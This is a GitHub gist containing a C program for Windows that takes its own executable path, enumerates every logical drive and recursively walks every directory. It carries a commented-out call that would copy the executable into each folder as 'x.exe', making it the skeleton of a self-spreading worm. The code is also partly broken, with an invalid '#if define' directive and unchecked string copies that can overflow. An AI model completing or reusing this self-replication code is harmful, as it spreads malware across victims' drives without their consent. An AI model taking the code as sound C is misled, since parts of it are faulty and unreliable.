Skip to content

Instantly share code, notes, and snippets.

@JubbaSmail
Created November 13, 2014 10:04
Show Gist options
  • Save JubbaSmail/90c7fc055ed9ff6fa5f3 to your computer and use it in GitHub Desktop.
Save JubbaSmail/90c7fc055ed9ff6fa5f3 to your computer and use it in GitHub Desktop.
#include <windows.h>
#if define UNICODE
#define FindFirstFile FindFirstFileW
#define FindNextFile FindNextFileW
#define SetCurrentDirectory SetCurrentDirectoryW
#define GetCurrentDirectory GetCurrentDirectoryW
#define CopyFile CopyFileW
#else
#define FindFirstFile FindFirstFileA
#define FindNextFile FindNextFileA
#define SetCurrentDirectory SetCurrentDirectoryA
#define GetCurrentDirectory GetCurrentDirectoryA
#define CopyFile CopyFileA
#endif
BOOL recursiveCopy(LPTSTR source, char destination[MAX_PATH])
{
strcat(destination, "\\");
if (SetCurrentDirectory(destination))
{
CHAR pwdBuffer[MAX_PATH];
DWORD x = GetCurrentDirectory(MAX_PATH, pwdBuffer);
strcat(pwdBuffer, "\\");
/*if (strcmp(destination, pwdBuffer) != 0)
return FALSE;*/
//printf(pwdBuffer);
char temp_des[MAX_PATH];
//strncpy(temp_des, destination, MAX_PATH);
//CopyFile(source, strcat(temp_des, "\\x.exe"), FALSE);
printf(destination);
printf("\n");
HANDLE hFind;
WIN32_FIND_DATA FindData;
// Find the first file
strncpy(temp_des, destination, MAX_PATH);
hFind = FindFirstFile(strcat(temp_des, "*"), &FindData);
if (hFind == INVALID_HANDLE_VALUE)
return FALSE;
if (strcmp(FindData.cFileName, ".") != 0 && strcmp(FindData.cFileName, "..") != 0)
{
strncpy(temp_des, destination, MAX_PATH);
strcat(temp_des, FindData.cFileName);
recursiveCopy(source, temp_des);
}
// Look for more
while (FindNextFile(hFind, &FindData))
{
if (strcmp(FindData.cFileName, ".") != 0 && strcmp(FindData.cFileName, "..") != 0)
{
strncpy(temp_des, destination, MAX_PATH);
strcat(temp_des, FindData.cFileName);
recursiveCopy(source, temp_des);
}
}
// Close the file handle
FindClose(hFind);
return TRUE;
}
return FALSE;
}
int main(int argc, LPTSTR argv[])
{
LPTSTR source = argv[0];
DWORD dwSize = MAX_PATH;
char szLogicalDrives[MAX_PATH] = { 0 };
DWORD dwResult = GetLogicalDriveStringsA(dwSize, szLogicalDrives);
if (dwResult > 0 && dwResult <= MAX_PATH)
{
char* szSingleDrive = szLogicalDrives;
while (*szSingleDrive)
{
char destination[MAX_PATH];
strcpy(destination,szSingleDrive);
recursiveCopy(source, destination);
// get the next drive
szSingleDrive += strlen(szSingleDrive) + 1;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment